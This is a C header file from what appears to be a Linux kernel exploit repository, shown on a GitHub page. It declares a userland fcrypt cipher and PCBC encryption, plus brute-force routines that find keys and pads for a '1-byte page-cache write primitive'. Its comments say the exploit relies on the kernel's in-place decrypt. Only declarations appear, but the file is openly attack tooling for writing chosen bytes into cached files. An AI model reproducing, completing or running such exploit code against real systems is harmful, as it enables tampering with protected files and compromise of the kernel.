-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathfcrypt.h
More file actions
81 lines (68 loc) · 3.12 KB
/
Copy pathfcrypt.h
File metadata and controls
81 lines (68 loc) · 3.12 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
/*
* fcrypt.h -- userland port of the Linux fcrypt block cipher + PCBC mode.
*
* Provides:
* - single-block fcrypt encrypt/decrypt (8-byte block, 8-byte key)
* - PCBC-mode encrypt (multi-block, for rxkad checksum derivation)
* - brute-force key search for the 1-byte page-cache write primitive
*
* The cipher is a 16-round Feistel network with four S-boxes, identical
* to the kernel's crypto/fcrypt.c. PCBC follows the kernel's
* crypto/pcbc.c exactly:
*
* encrypt: C[i] = E(P[i] ^ IV), IV' = C[i] ^ P[i]
* (only encrypt is needed; the kernel-side in-place decrypt is what
* the exploit relies on -- we never decrypt in userland pcbc.)
*/
#ifndef FCRYPT_H
#define FCRYPT_H
#include <stdint.h>
#include <stddef.h>
/* ------------------------------------------------------------------ */
/* Cipher context */
/* ------------------------------------------------------------------ */
typedef struct {
uint32_t sched[16];
} fcrypt_ctx_t;
/* Must be called once before any cipher operation. */
void fcrypt_init(void);
void fcrypt_setkey(fcrypt_ctx_t *ctx, const uint8_t key[8]);
void fcrypt_encrypt_block(const fcrypt_ctx_t *ctx,
uint8_t out[8], const uint8_t in[8]);
void fcrypt_decrypt_block(const fcrypt_ctx_t *ctx,
uint8_t out[8], const uint8_t in[8]);
/* ------------------------------------------------------------------ */
/* PCBC-mode encrypt (userland replacement for AF_ALG pcbc(fcrypt)) */
/* ------------------------------------------------------------------ */
/* len MUST be a multiple of 8. */
void fcrypt_pcbc_encrypt(const uint8_t key[8], const uint8_t iv[8],
const void *in, void *out, size_t len);
/* ------------------------------------------------------------------ */
/* Brute-force key finder for the 1-byte primitive */
/* ------------------------------------------------------------------ */
uint64_t fcrypt_splitmix64(uint64_t *state);
/*
* Find K such that fcrypt_decrypt(K, [0xCC x 7 | file_byte])[7]
* equals target_byte. ~256 iterations on average.
*
* On success returns 0 and fills pad7_out (the 7-byte cipher-input
* prefix, always 0xCC) and key_out. Returns -1 on exhaustion.
*/
int fcrypt_find_key(uint8_t file_byte, uint8_t target_byte,
uint8_t pad7_out[7], uint8_t key_out[8],
uint64_t max_iters);
/*
* Find a 7-byte pad such that fcrypt_decrypt(key, [pad | file_byte])[7]
* equals target_byte. Key is FIXED (caller supplies it).
*
* With 7 bytes of pad freedom, each attempt gives a ~1/256 chance ->
* average ~256 iterations. Much cheaper than fcrypt_find_key because
* no new kernel key is needed.
*
* On success returns 0 and fills pad7_out. Returns -1 on exhaustion.
*/
int fcrypt_find_pad(const uint8_t key[8],
uint8_t file_byte, uint8_t target_byte,
uint8_t pad7_out[7],
uint64_t max_iters);
#endif /* FCRYPT_H */